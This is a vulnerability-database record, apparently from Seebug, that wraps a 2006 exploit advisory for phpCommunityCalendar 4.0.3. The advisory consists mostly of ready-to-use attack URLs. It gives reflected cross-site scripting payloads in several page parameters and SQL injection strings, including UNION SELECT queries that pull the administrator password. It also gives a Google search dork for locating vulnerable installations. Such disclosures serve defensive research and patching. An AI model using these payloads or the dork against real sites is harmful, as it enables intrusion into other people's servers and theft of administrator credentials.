Description
No description provided by source.
{"lastseen": "2017-11-19T14:46:43", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "cve,poc", "enchantments": {"score": {"value": -0.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.1}, "href": "https://www.seebug.org/vuldb/ssvid-63577", "references": [], "enchantments_done": [], "id": "SSV:63577", "title": "phpCommunityCalendar <= 4.0.3 - Multiple (XSS/SQL) Vulnerabilities", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 13, "sourceData": "\n ##################################################################################\r\n#<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<#\r\n##################################################################################\r\n#\t\t\t\t\t\t\t\t\t\t #\r\n#\t phpCommunityCalendar 4.0.3 Multiple Vulnerabilites\t\t #\r\n#\t\t\t\t\t\t\t\t\t\t #\r\n##################################################################################\r\n#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>#\r\n##################################################################################\r\n#\t\t\t\t\t\t\t\t\t\t #\r\n# author : X0r_1 \t\t\t\t\t\t\t #\r\n# release : 23.05.06\t\t\t\t\t\t\t #\r\n# software : http://www.appideas.com/\t \t\t\t\t #\r\n# googledork : "Calendar programming by AppIdeas.com" filetype:php \t\t #\r\n#\t\t\t\t\t\t\t\t\t\t #\r\n##################################################################################\r\n\r\nXSS:\r\n\r\nhttp://[SERVER]/[PATH]/week.php?LoName=<script>alert('XSS')</script>\r\n\r\nhttp://[SERVER]/[PATH]/month.php?LoName=<script>alert('XSS')</script>\r\n\r\nhttp://[SERVER]/[PATH]/event.php?AddressLink="><script>alert('XSS')</script><"\r\n\r\n\r\nSQL Injections:\r\n\r\nhttp://[SERVER]/[PATH]/month.php?query=CalendarDetailsID=-1) UNION SELECT Password,0 FROM phpcalendar_adminusers WHERE AdminUserID = 1/*\r\n\r\nhttp://[SERVER]/[PATH]/day.php?query=CalendarDetailsID=-1) UNION SELECT Password,0 FROM phpcalendar_adminusers WHERE AdminUserID = 1/*\r\n\r\nhttp://[SERVER]/[PATH]/event.php?ID=(1=1) [SQL]\r\n\r\nhttp://[SERVER]/[PATH]/admin/delCalendar.php?CalendarDetailsID=x'[SQL]\r\n\r\nhttp://[SERVER]/[PATH]/admin/delAdmin.php?AdminUserID=x' [SQL]\r\n\r\nhttp://[SERVER]/[PATH]/admin/delAddress.php?EventLocationID=x' [SQL]\r\n\r\nhttp://[SERVER]/[PATH]/admin/delCategory.php?LocationID=x' [SQL]\r\n\r\n# milw0rm.com [2006-05-23]\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-63577", "type": "seebug", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645518107, "score": 1659785532}}
{}